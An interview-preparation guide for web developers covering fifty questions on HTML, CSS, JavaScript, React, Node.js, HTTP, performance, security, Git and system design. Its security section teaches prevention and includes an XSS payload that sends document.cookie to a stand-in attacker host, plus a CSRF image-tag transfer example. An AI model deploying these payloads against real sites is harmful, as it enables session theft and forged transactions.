Web developer interviews test breadth across HTML, CSS, JavaScript, frameworks, backends, APIs, and fundamentals. This guide covers the 50 most common questions for junior, mid-level, and senior positions — with clear answers.
Quick reference
| Topic | What gets tested |
|---|---|
| HTML | Semantics, accessibility, forms, SEO meta |
| CSS | Box model, Flexbox, Grid, specificity, responsive |
| JavaScript | Closures, async, event loop, DOM, ES6+ |
| React | Hooks, lifecycle, state management, performance |
| Node.js / Backend | REST APIs, middleware, auth, databases |
| HTTP / Networking | Status codes, methods, caching, CORS |
| Performance | Lazy loading, code splitting, Core Web Vitals |
| Security | XSS, CSRF, CSP, HTTPS |
| Git / DevOps | Branching, CI/CD, deployment |
| System design | Scalability, caching, DB choice |
HTML
1. What is the difference between semantic and non-semantic HTML?
Semantic HTML uses elements that describe their meaning both to the browser and the developer.
| Semantic | Non-semantic |
|---|---|
<header>, <nav>, <main>, <article>, <section>, <aside>, <footer> |
<div>, <span> |
| Self-describing purpose | Generic containers |
| Better for SEO and screen readers | No implicit meaning |
<!-- Non-semantic -->
<div class="header">
<div class="nav">...</div>
</div>
<!-- Semantic -->
<header>
<nav>...</nav>
</header>
Semantic HTML improves accessibility (screen readers use landmark elements), SEO (search engines understand content structure), and maintainability.
2. What is the difference between id and class attributes?
| Attribute | Uniqueness | CSS selector | JS selector | Specificity |
|---|---|---|---|---|
id |
Must be unique per page | #name |
getElementById |
100 |
class |
Can repeat multiple times | .name |
getElementsByClassName |
10 |
Use id for unique page elements (skip-to-content, form labels). Use class for reusable styles.
3. What is the defer vs async attribute on <script>?
| Attribute | Download | Execution | Order |
|---|---|---|---|
| None (default) | Blocks HTML parsing | Immediately | Preserved |
async |
Parallel with HTML parse | As soon as downloaded | Not guaranteed |
defer |
Parallel with HTML parse | After HTML parsed | Preserved |
<script defer src="app.js"></script> <!-- recommended for most scripts -->
<script async src="analytics.js"></script> <!-- independent scripts -->
Use defer for scripts that depend on the DOM or each other. Use async for independent scripts (analytics, ads).
4. What are data-* attributes and when do you use them?
data-* attributes store custom data on HTML elements without using non-standard attributes or JS objects.
<button data-product-id="42" data-action="add-to-cart">Add to Cart</button>
const btn = document.querySelector('button');
console.log(btn.dataset.productId); // "42"
console.log(btn.dataset.action); // "add-to-cart"
Use them to pass data from server-rendered HTML to JavaScript without extra API calls.
5. What is the purpose of the <meta> viewport tag?
<meta name="viewport" content="width=device-width, initial-scale=1">
Without it, mobile browsers render the page at desktop width then shrink it. This tag tells the browser:
width=device-width— match the device's physical widthinitial-scale=1— no default zoom
Essential for any responsive design. Missing it causes tiny unreadable text on mobile.
CSS
6. Explain the CSS box model.
Every element is a rectangular box with four layers:
┌─────────────────────────────────┐
│ margin │
│ ┌─────────────────────────┐ │
│ │ border │ │
│ │ ┌───────────────────┐ │ │
│ │ │ padding │ │ │
│ │ │ ┌─────────────┐ │ │ │
│ │ │ │ content │ │ │ │
│ │ │ └─────────────┘ │ │ │
│ │ └───────────────────┘ │ │
│ └─────────────────────────┘ │
└─────────────────────────────────┘
Key distinction: box-sizing
| Value | Width calculation |
|---|---|
content-box (default) |
width = content only; padding+border add to total |
border-box |
width = content + padding + border |
Always set * { box-sizing: border-box; } globally — predictable sizing.
7. How does CSS specificity work?
Specificity determines which CSS rule wins when multiple rules target the same element.
| Selector type | Specificity value |
|---|---|
| Inline style | 1000 |
ID (#id) |
100 |
Class (.class), attribute, pseudo-class |
10 |
Element (div, p), pseudo-element |
1 |
Universal (*), combinators |
0 |
#header .nav a { } /* 100 + 10 + 1 = 111 */
.nav a:hover { } /* 10 + 1 + 10 = 21 */
!important overrides all — avoid it, it breaks cascade predictability.
8. What is the difference between position: absolute and position: fixed?
| Property | Positioned relative to | Scrolls with page |
|---|---|---|
static (default) |
Normal flow | Yes |
relative |
Its own normal position | Yes |
absolute |
Nearest positioned ancestor | Yes |
fixed |
Viewport | No (stays on screen) |
sticky |
Normal flow + scroll threshold | Until threshold hit |
.tooltip { position: absolute; top: 0; left: 100%; } /* next to parent */
.navbar { position: fixed; top: 0; width: 100%; } /* stays visible */
9. Explain Flexbox vs CSS Grid.
| Flexbox | CSS Grid |
|---|---|
| One-dimensional (row OR column) | Two-dimensional (rows AND columns) |
| Content-driven layout | Layout-driven (define grid first) |
| Best for nav bars, toolbars, card rows | Best for page layout, complex grids |
display: flex |
display: grid |
/* Flexbox: center a single item */
.container { display: flex; justify-content: center; align-items: center; }
/* Grid: 3-column layout */
.grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 1rem; }
Use Flexbox for UI components. Use Grid for page-level layout.
10. What are CSS custom properties (variables)?
:root {
--primary: #3b82f6;
--spacing-md: 1rem;
}
.button {
background: var(--primary);
padding: var(--spacing-md);
}
/* Override in dark mode */
@media (prefers-color-scheme: dark) {
:root { --primary: #60a5fa; }
}
Unlike SCSS variables (compile-time), CSS custom properties are live — you can change them with JavaScript and they cascade.
JavaScript
11. What is a closure?
A closure is a function that retains access to variables from its outer scope even after the outer function has returned.
function makeCounter() {
let count = 0; // outer variable
return function increment() {
count++; // accesses outer variable
return count;
};
}
const counter = makeCounter();
counter(); // 1
counter(); // 2
Closures enable: private state, factory functions, memoization, partial application.
12. Explain the JavaScript event loop.
JavaScript is single-threaded but handles async via the event loop:
Call Stack → executes synchronous code
Microtask Queue → Promise.then, queueMicrotask (drains after each task)
Macrotask Queue → setTimeout, setInterval, I/O (one task per loop turn)
console.log('1');
setTimeout(() => console.log('2'), 0);
Promise.resolve().then(() => console.log('3'));
console.log('4');
// Output: 1, 4, 3, 2
// Reason: sync runs first, then microtasks (Promise), then macrotasks (setTimeout)
13. What is the difference between == and ===?
| Operator | Type coercion | Example |
|---|---|---|
== (loose equality) |
Yes | 0 == '' → true |
=== (strict equality) |
No | 0 === '' → false |
Always use === to avoid unexpected coercion bugs:
null == undefined // true
null === undefined // false
'5' == 5 // true (coercion)
'5' === 5 // false (different types)
14. Explain Promise.all, Promise.race, Promise.allSettled.
const p1 = fetch('/api/users');
const p2 = fetch('/api/posts');
const p3 = fetch('/api/comments');
// All must succeed — rejects if any fails
const [users, posts] = await Promise.all([p1, p2]);
// First to settle wins (resolve or reject)
const first = await Promise.race([p1, p2, p3]);
// Wait for all, get status of each (never rejects)
const results = await Promise.allSettled([p1, p2, p3]);
results.forEach(r => {
if (r.status === 'fulfilled') use(r.value);
else log(r.reason);
});
Use Promise.all for parallel independent requests. Promise.allSettled when you need all results regardless of failures.
15. What is event delegation?
Instead of attaching listeners to each child, attach one listener to the parent and use event.target to identify the source.
// ❌ Attaches N listeners
document.querySelectorAll('.btn').forEach(btn =>
btn.addEventListener('click', handleClick)
);
// ✅ One listener, handles dynamically added elements too
document.querySelector('#list').addEventListener('click', (e) => {
if (e.target.matches('.btn')) handleClick(e);
});
Benefits: fewer memory allocations, works for dynamically added elements.
16. What are var, let, const differences?
var |
let |
const |
|
|---|---|---|---|
| Scope | Function | Block | Block |
| Hoisting | Yes (undefined) | Yes (TDZ) | Yes (TDZ) |
| Re-assignable | Yes | Yes | No |
| Re-declarable | Yes | No | No |
Temporal Dead Zone (TDZ): accessing let/const before declaration throws ReferenceError.
17. What is the difference between null, undefined, and undeclared?
undefined |
null |
Undeclared | |
|---|---|---|---|
| Type | "undefined" |
"object" |
throws ReferenceError |
| Meaning | Variable declared but no value | Intentional absence of value | Variable not declared at all |
| Set by | JS engine | Developer | — |
let x; // undefined
let y = null; // null (intentional empty)
console.log(z); // ReferenceError: z is not defined
18. Explain this in JavaScript.
this refers to the object that is the context of the function call.
| Call type | this value |
|---|---|
| Global (non-strict) | window / global |
| Method call | The object before the dot |
new constructor |
The new instance |
| Arrow function | Lexical this (inherits from enclosing scope) |
call/apply/bind |
Explicitly set |
const obj = {
name: 'Alice',
greet() { console.log(this.name); }, // 'Alice'
greetArrow: () => { console.log(this.name); } // undefined (lexical)
};
React
19. What is the difference between props and state in React?
| Props | State | |
|---|---|---|
| Ownership | Passed from parent | Managed within component |
| Mutability | Read-only | Updated with setter (useState) |
| Causes re-render | When parent re-renders | When changed |
| Purpose | Configure component | Track internal data |
function Button({ label, onClick }) { // props
const [clicked, setClicked] = useState(false); // state
return <button onClick={() => { setClicked(true); onClick(); }}>{label}</button>;
}
20. Explain useEffect and its dependency array.
useEffect(() => {
// Effect runs after render
const id = setInterval(() => setCount(c => c + 1), 1000);
return () => clearInterval(id); // Cleanup
}, [userId]); // Re-runs when userId changes
| Dependency array | Runs |
|---|---|
| Omitted | After every render |
[] (empty) |
Only on mount (and cleanup on unmount) |
[dep1, dep2] |
On mount and whenever deps change |
Common mistakes: missing dependencies (stale closure), async function directly in effect (use inner async function).
21. What is the difference between useMemo and useCallback?
// useMemo: memoizes a computed VALUE
const expensiveResult = useMemo(
() => heavyComputation(data),
[data]
);
// useCallback: memoizes a FUNCTION reference
const handleClick = useCallback(
() => doSomething(id),
[id]
);
Both skip re-computation when dependencies haven't changed. Use useCallback when passing callbacks to optimized child components (wrapped in React.memo).
22. What is React reconciliation and how does the Virtual DOM work?
- React maintains a Virtual DOM (lightweight JS representation of real DOM)
- When state/props change, React creates a new Virtual DOM tree
- Diffing algorithm (Fiber) compares old vs new Virtual DOM — O(n) with heuristics:
- Same element type → update attributes
- Different element type → unmount old, mount new
- Lists → use
keyprop to track elements
- Only changed parts are applied to the real DOM (reconciliation)
// Key tells React which list item changed
{items.map(item => <Item key={item.id} {...item} />)}
23. What are React keys and why do they matter?
Keys help React identify which items changed, were added, or removed in lists.
// ❌ Using index — causes bugs when list order changes
{items.map((item, i) => <Row key={i} {...item} />)}
// ✅ Using stable unique ID
{items.map(item => <Row key={item.id} {...item} />)}
With index keys, React may reuse wrong component instances, causing incorrect state or animation bugs.
24. What is the Context API and when would you use it?
Context provides a way to pass data through the component tree without prop drilling.
const ThemeContext = createContext('light');
function App() {
return (
<ThemeContext.Provider value="dark">
<Toolbar /> {/* doesn't need theme prop */}
</ThemeContext.Provider>
);
}
function ThemedButton() {
const theme = useContext(ThemeContext); // access anywhere
return <button className={theme}>Click</button>;
}
Use for: auth state, theme, locale. Avoid for high-frequency updates — use Zustand/Redux instead.
Node.js & Backend
25. What is Node.js and how is it different from browser JavaScript?
| Browser JS | Node.js | |
|---|---|---|
| Environment | Browser (Chrome V8) | Server (V8 + libuv) |
| APIs | window, document, fetch |
fs, http, process, os |
| Modules | ESModules (native) | CommonJS + ESModules |
| Purpose | UI interaction | Server, CLI, tooling |
| Threads | Single-threaded + Web Workers | Single-threaded + Worker Threads + thread pool |
Node.js uses non-blocking I/O via libuv's thread pool for file/network operations.
26. What is middleware in Express.js?
Middleware is a function with (req, res, next) signature that has access to the request/response cycle.
// Logger middleware
app.use((req, res, next) => {
console.log(`${req.method} ${req.path}`);
next(); // call next to pass control forward
});
// Error-handling middleware (4 args)
app.use((err, req, res, next) => {
res.status(500).json({ error: err.message });
});
Middleware order matters — they execute in the order added.
27. What is JWT and how does authentication work?
1. User logs in → server validates credentials
2. Server creates JWT: header.payload.signature (base64 encoded)
3. Client stores JWT (localStorage / httpOnly cookie)
4. Client sends JWT in Authorization: Bearer <token> header
5. Server verifies signature on each request (stateless)
// Create
const token = jwt.sign({ userId: 42 }, SECRET, { expiresIn: '1h' });
// Verify
const payload = jwt.verify(token, SECRET); // throws if invalid
| JWT | Session |
|---|---|
| Stateless (no server storage) | Stateful (server-side session store) |
| Scales horizontally | Requires shared session store |
| Can't invalidate before expiry | Can invalidate anytime |
28. What is the difference between SQL and NoSQL databases?
| SQL (Relational) | NoSQL | |
|---|---|---|
| Schema | Fixed, predefined | Flexible, dynamic |
| Relationships | Joins, foreign keys | Denormalized / embedded |
| Consistency | ACID transactions | Often eventual consistency |
| Scaling | Vertical (mostly) | Horizontal |
| Examples | PostgreSQL, MySQL | MongoDB, Redis, DynamoDB |
| Best for | Complex queries, transactions | Flexible data, high write throughput |
Choose SQL when data relationships matter and consistency is critical. Choose NoSQL for unstructured/variable data and horizontal scaling.
29. What is an ORM and why use one?
An ORM (Object-Relational Mapper) maps database tables to code objects, letting you query with language syntax instead of raw SQL.
// Raw SQL
const users = await db.query('SELECT * FROM users WHERE active = true');
// Prisma ORM
const users = await prisma.user.findMany({ where: { active: true } });
Benefits: type safety, auto migrations, cross-DB portability, prevents SQL injection by default. Trade-off: can generate inefficient queries; complex queries still need raw SQL.
30. What are environment variables and why are they important?
Environment variables store configuration and secrets outside source code.
// .env (never commit to git)
DATABASE_URL=postgres://user:pass@host:5432/db
JWT_SECRET=supersecretkey
NODE_ENV=development
// Access in Node
const secret = process.env.JWT_SECRET;
Reasons to use:
- Security: secrets not in version control
- Environment parity: same code runs in dev/staging/production
- Configuration: change behavior without code changes
HTTP & APIs
31. What are the main HTTP methods and their uses?
| Method | Purpose | Idempotent | Body |
|---|---|---|---|
GET |
Retrieve resource | Yes | No |
POST |
Create resource | No | Yes |
PUT |
Replace resource entirely | Yes | Yes |
PATCH |
Partial update | No | Yes |
DELETE |
Remove resource | Yes | No |
OPTIONS |
CORS preflight | Yes | No |
HEAD |
Like GET, headers only | Yes | No |
32. What are HTTP status codes? List the most important ones.
| Code | Meaning | When |
|---|---|---|
| 200 | OK | Successful GET/PUT/PATCH |
| 201 | Created | Successful POST (resource created) |
| 204 | No Content | Successful DELETE |
| 301 | Moved Permanently | Permanent redirect |
| 302 | Found | Temporary redirect |
| 304 | Not Modified | Cached response is valid |
| 400 | Bad Request | Invalid input from client |
| 401 | Unauthorized | Not authenticated |
| 403 | Forbidden | Authenticated but no permission |
| 404 | Not Found | Resource doesn't exist |
| 409 | Conflict | Duplicate resource |
| 422 | Unprocessable Entity | Validation error |
| 429 | Too Many Requests | Rate limited |
| 500 | Internal Server Error | Server-side bug |
| 503 | Service Unavailable | Server down/overloaded |
33. What is CORS and how do you fix it?
CORS (Cross-Origin Resource Sharing) is a browser security mechanism that blocks requests to a different origin (protocol + domain + port).
http://frontend.com → GET http://api.com/users ❌ (different origin)
Fix: add CORS headers on the server:
// Express with cors package
app.use(cors({
origin: 'https://frontend.com',
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
}));
For complex requests (non-simple methods), the browser sends an OPTIONS preflight first.
34. What is REST? What makes an API RESTful?
REST (Representational State Transfer) has 6 constraints:
| Constraint | Meaning |
|---|---|
| Stateless | Each request contains all needed info |
| Client-server | UI and data separated |
| Cacheable | Responses declare cacheability |
| Uniform interface | Standard resource naming, HTTP methods |
| Layered system | Client can't tell if connected directly to server |
| Code on demand (optional) | Server can send executable code |
RESTful API conventions:
GET /users → list users
POST /users → create user
GET /users/42 → get user 42
PUT /users/42 → replace user 42
DELETE /users/42 → delete user 42
GET /users/42/posts → user's posts (nested resource)
35. What is the difference between cookies, localStorage, and sessionStorage?
| Cookies | localStorage | sessionStorage | |
|---|---|---|---|
| Capacity | 4KB | 5-10MB | 5-10MB |
| Expiry | Set by server/JS | Never | Tab close |
| Sent to server | Yes (every request) | No | No |
| Accessible from JS | Yes (unless httpOnly) | Yes | Yes |
| Scope | Domain + path | Domain | Tab + domain |
| Best for | Auth tokens (httpOnly) | User preferences | Temp form state |
Performance
36. What are Core Web Vitals?
Google's metrics for user experience:
| Metric | Measures | Good threshold |
|---|---|---|
| LCP (Largest Contentful Paint) | Loading performance | < 2.5s |
| FID (First Input Delay) → INP | Interactivity | INP < 200ms |
| CLS (Cumulative Layout Shift) | Visual stability | < 0.1 |
| TTFB (Time to First Byte) | Server response | < 800ms |
Improve LCP: optimize hero images, use CDN, preload critical fonts. Improve CLS: set width/height on images, avoid injecting content above fold.
37. What is lazy loading and how do you implement it?
Lazy loading defers non-critical resources until needed.
Images (native HTML):
<img src="photo.jpg" loading="lazy" alt="Photo">
React components:
const Chart = React.lazy(() => import('./Chart'));
function App() {
return (
<Suspense fallback={<Spinner />}>
<Chart />
</Suspense>
);
}
Routes (React Router):
const About = lazy(() => import('./pages/About'));
38. What is code splitting and why does it matter?
Code splitting breaks your JavaScript bundle into smaller chunks loaded on demand, reducing initial load time.
// Without splitting: one 500KB bundle loads upfront
// With splitting: 50KB main + route chunks on demand
// Dynamic import (webpack/vite auto-splits)
const module = await import('./heavyModule');
// Vite config (automatic route splitting is default)
Tools: Webpack splitChunks, Vite (automatic), Next.js (per-page automatic).
39. What is a CDN and when should you use it?
A CDN (Content Delivery Network) serves static assets from servers close to the user.
Benefits:
- Reduces latency (geographically distributed)
- Reduces origin server load
- Built-in caching and compression
- DDoS protection
Use CDN for: images, CSS/JS bundles, fonts, videos, any static assets.
<!-- Served from nearest CDN edge node -->
<link rel="stylesheet" href="https://cdn.example.com/styles.css">
40. What is caching and what caching strategies exist?
HTTP caching headers:
| Header | Behaviour |
|---|---|
Cache-Control: max-age=3600 |
Cache for 1 hour |
Cache-Control: no-cache |
Validate with server before using cached copy |
Cache-Control: no-store |
Never cache |
ETag: "abc123" |
Fingerprint for conditional requests |
Last-Modified |
Date-based conditional requests |
Application caching strategies:
| Strategy | Description |
|---|---|
| Cache-aside | App checks cache first, falls back to DB |
| Write-through | Write to cache and DB simultaneously |
| Write-behind | Write to cache, async flush to DB |
Security
41. What is XSS (Cross-Site Scripting) and how do you prevent it?
XSS is when an attacker injects malicious scripts into pages viewed by other users.
<!-- Stored XSS: attacker submits this as a comment -->
<script>document.location='https://evil.com?c='+document.cookie</script>
Prevention:
| Method | How |
|---|---|
| Escape output | <script> instead of <script> |
| CSP header | Content-Security-Policy: default-src 'self' |
| httpOnly cookies | JS can't read auth cookies |
| React auto-escaping | JSX escapes {} expressions by default |
| Sanitize HTML | DOMPurify for user-generated HTML |
// React escapes this automatically — safe
<p>{userInput}</p>
// ❌ Dangerous — bypasses escaping
<p dangerouslySetInnerHTML={{ __html: userInput }} />
42. What is CSRF and how do you prevent it?
CSRF (Cross-Site Request Forgery) tricks a logged-in user into making unintended requests.
1. User logged into bank.com (cookie stored)
2. User visits evil.com
3. evil.com sends: <img src="https://bank.com/transfer?to=attacker&amount=1000">
4. Browser includes bank.com cookie → transfer executes
Prevention:
| Method | How |
|---|---|
| CSRF token | Server generates random token, validates on each POST |
| SameSite cookie | Set-Cookie: session=abc; SameSite=Strict |
| Double-submit cookie | Token in cookie + form field must match |
| Check Origin header | Reject requests from unexpected origins |
43. What is HTTPS and why is it required?
HTTPS = HTTP + TLS (Transport Layer Security).
| HTTP | HTTPS |
|---|---|
| Plaintext — visible to anyone on network | Encrypted |
| No server identity verification | Certificate verifies server identity |
| No integrity check | Detects tampering |
| No SEO benefit | Google ranking factor |
TLS handshake: client → server certificate → verify CA → negotiate cipher → symmetric key → encrypted traffic.
Required for: auth cookies, payment data, any sensitive info. Modern browsers mark HTTP sites as "Not Secure".
Git & DevOps
44. What is the difference between git merge and git rebase?
merge |
rebase |
|
|---|---|---|
| History | Preserves all commits + adds merge commit | Rewrites commits on top of target |
| Safety | Non-destructive | Rewrites history (don't rebase shared branches) |
| Graph | Shows branching | Linear |
| Use case | Public branches | Local cleanup before PR |
# Merge: adds a merge commit
git checkout main && git merge feature
# Rebase: replay feature commits on top of main
git checkout feature && git rebase main
45. What is CI/CD?
CI (Continuous Integration): automatically build and test code on every push/PR.
CD (Continuous Delivery): automatically deploy to staging after tests pass.
CD (Continuous Deployment): automatically deploy to production after tests pass.
# GitHub Actions example
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci
- run: npm test
- run: npm run build
Benefits: catch bugs early, faster releases, consistent deployments, no manual steps.
System Design (Senior level)
46. How would you design a URL shortener?
Requirements: given a long URL, return a short code (e.g. sho.rt/x7k2p).
Components:
1. API server: POST /shorten → generate short code, store mapping
2. Database: { short_code, long_url, created_at, clicks }
3. Redirect endpoint: GET /:code → 301 to long_url
4. Cache (Redis): short_code → long_url (hot codes)
Short code generation:
- Base62 encode an auto-increment ID (a-z A-Z 0-9)
- 7 chars = 62^7 = 3.5 trillion combinations
Scale:
- Read-heavy → cache hot codes in Redis (TTL 1 hour)
- Multiple API servers behind load balancer
- DB read replicas for redirect reads
47. What is database indexing and when should you use it?
An index is a data structure (usually B-tree) that speeds up queries at the cost of write overhead.
-- Without index: full table scan O(n)
-- With index: B-tree lookup O(log n)
CREATE INDEX idx_users_email ON users(email);
-- Composite index (leftmost prefix rule applies)
CREATE INDEX idx_orders_user_date ON orders(user_id, created_at);
When to index:
- Columns used in
WHERE,JOIN,ORDER BY - High-cardinality columns (many unique values)
When NOT to index:
- Small tables (full scan is fast)
- Low-cardinality columns (e.g. boolean
active) - Heavy write tables (indexes slow inserts/updates)
48. What is the difference between horizontal and vertical scaling?
| Vertical Scaling | Horizontal Scaling | |
|---|---|---|
| What | More CPU/RAM on same server | More servers |
| Limit | Hardware limit | Nearly unlimited |
| Cost | Exponential at high end | Linear |
| Downtime | Usually requires restart | Zero downtime (rolling) |
| Complexity | Simple | Requires load balancer, stateless app |
Modern apps scale horizontally. Requires stateless servers (sessions in Redis, not in-memory).
49. What is a RESTful API vs GraphQL?
| REST | GraphQL | |
|---|---|---|
| Endpoints | Multiple (/users, /posts) |
Single (/graphql) |
| Over-fetching | Common (returns fixed shape) | Eliminated (request exactly what you need) |
| Under-fetching | Common (multiple round-trips) | Eliminated (one query) |
| Caching | HTTP cache (easy) | Query-level cache (harder) |
| Learning curve | Low | Higher |
| Best for | Public APIs, simple CRUD | Complex UIs with varied data needs |
# GraphQL: get user name and their 3 most recent post titles
query {
user(id: 42) {
name
posts(limit: 3) { title }
}
}
50. What are Web Workers and when would you use them?
Web Workers run JavaScript in a background thread, keeping the main UI thread responsive.
// main.js
const worker = new Worker('worker.js');
worker.postMessage({ data: largeArray });
worker.onmessage = ({ data }) => {
console.log('Result:', data.result); // render to UI
};
// worker.js (no DOM access)
self.onmessage = ({ data }) => {
const result = heavyComputation(data.data); // won't block UI
self.postMessage({ result });
};
Use for: image processing, parsing large JSON/CSV, encryption, complex calculations. Web Workers can't access window, document, or localStorage.
Common mistakes
| Mistake | Better approach |
|---|---|
| Mutating state directly in React | Use setState / useState setter |
console.log in production |
Remove logs or use logging library |
| Not debouncing search inputs | useDebounce hook or lodash debounce |
SELECT * in production |
Select only needed columns |
| Storing passwords in plain text | Hash with bcrypt |
| No input validation on server | Validate even if client validates |
| Ignoring accessibility | Semantic HTML + ARIA |
| Huge single bundle JS | Code splitting + lazy loading |
Web developer vs other roles
| Role | Core focus | Typical stack |
|---|---|---|
| Frontend developer | UI, UX, browser | HTML/CSS/JS/React |
| Backend developer | APIs, databases, logic | Node/Python/Java + SQL |
| Full-stack developer | Both frontend and backend | React + Node + DB |
| Web developer (general) | Web presence, broad skills | Varies |
| DevOps engineer | Infrastructure, CI/CD | Docker/K8s/cloud |
| Mobile developer | iOS/Android apps | Swift/Kotlin/React Native |
Frequently asked questions
Q: What should a junior web developer know for interviews?
HTML semantics, CSS Flexbox/Grid, JavaScript fundamentals (closures, async/await, DOM), basic React (hooks, props/state), HTTP methods/status codes, and Git basics.
Q: What's the difference between a web developer and a software engineer interview?
Web developer interviews focus on browser-specific topics (HTML/CSS, DOM, web APIs, frameworks). Software engineering interviews add more CS fundamentals (algorithms, data structures, system design).
Q: How do I prepare for a frontend interview?
Build projects with React. Study JavaScript deeply (closures, event loop, prototypes). Practice CSS layouts. Know HTTP basics. Do 20-30 LeetCode easy/medium problems if applying to larger companies.
Q: What system design questions come up for web developers?
URL shortener, rate limiter, notification system, news feed (pagination + caching), search autocomplete, real-time chat. Focus on API design, database choice, and caching strategy.
Q: Do I need to know TypeScript for web dev interviews?
Increasingly yes. Most modern React/Node codebases use TypeScript. Know basic type annotations, interfaces, generics. Showing TypeScript knowledge differentiates you from other candidates.
Q: What CSS architecture should I know?
Understand BEM naming for large codebases, CSS Modules or CSS-in-JS (styled-components) for component-level scoping, and Tailwind utility classes (dominant in 2025 projects). Know when to use each.